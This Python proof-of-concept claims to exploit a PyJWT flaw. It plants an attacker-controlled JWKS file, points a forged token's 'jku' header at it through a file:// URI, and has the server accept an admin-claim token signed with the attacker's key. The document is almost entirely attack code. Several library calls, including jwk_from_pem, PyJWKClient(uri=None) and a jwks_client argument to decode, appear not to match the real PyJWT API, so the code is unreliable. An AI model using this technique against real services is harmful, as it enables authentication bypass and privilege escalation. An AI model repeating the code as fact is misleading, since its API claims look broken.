Vulnerable code sample

# This example requires PyJWT < 2.13.0 and cryptography to be installed.
# For example: pip install "PyJWT<2.13.0" cryptography

import jwt
import json
import os
from jwt import PyJWKClient
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

# --- Attacker's Setup ---

# 1. Attacker generates an RSA key pair.
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# 2. Attacker creates a malicious JWKS file and plants it on the server's filesystem.
#    This simulates a scenario where the attacker has some form of file write access,
#    or can control a file path that the application will read.
jwks_file_path = "local_attacker_jwks.json"
attacker_kid = "attacker_key_id_from_file"

# Generate the public key in PEM format to create a JWK
pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)
jwk = jwt.jwk_from_pem(pem, kid=attacker_kid)

# Write the attacker's public key as a JWKS to the local file
with open(jwks_file_path, "w") as f:
    json.dump({"keys": [jwk]}, f)

# 3. Attacker crafts a JWT, signed with their private key.
#    The JWT header's 'jku' (JWK Set URL) points to the local file using a file:// URI.
jku_url = f"file://{os.path.abspath(jwks_file_path)}"
jwt_headers = {
    "alg": "RS256",
    "jku": jku_url,
    "kid": attacker_kid
}
payload = {"user": "attacker", "is_admin": True}
attacker_token = jwt.encode(payload, private_key, algorithm="RS256", headers=jwt_headers)


# --- Vulnerable Server Application (using PyJWT < 2.13.0) ---

# The server receives the attacker's token from an untrusted source.
untrusted_token = attacker_token

# The server uses PyJWKClient to get the key specified in the 'jku' header.
# A URI is not provided during initialization because it will be read from the token header.
jwks_client = PyJWKClient(uri=None)

print(f"Server received a token with 'jku' header: {jku_url}")
print("Attempting to decode and verify the token...")

try:
    # PyJWKClient will insecurely use urllib.request.urlopen() on the 'jku' value.
    # This allows it to read the local file specified by the file:// URI.
    # It will find the attacker's public key in the local file and use it
    # to successfully verify the signature of the forged token.
    decoded_payload = jwt.decode(
        untrusted_token,
        algorithms=["RS256"],
        options={"verify_signature": True},
        jwks_client=jwks_client
    )
    print("\n[!!!] VULNERABILITY EXPLOITED [!!!]")
    print("Server successfully validated a forged token by reading a local file.")
    print(f"Decoded payload: {decoded_payload}")

except Exception as e:
    print(f"\nServer failed to decode token: {e}")

finally:
    # --- Cleanup ---
    if os.path.exists(jwks_file_path):
        os.remove(jwks_file_path)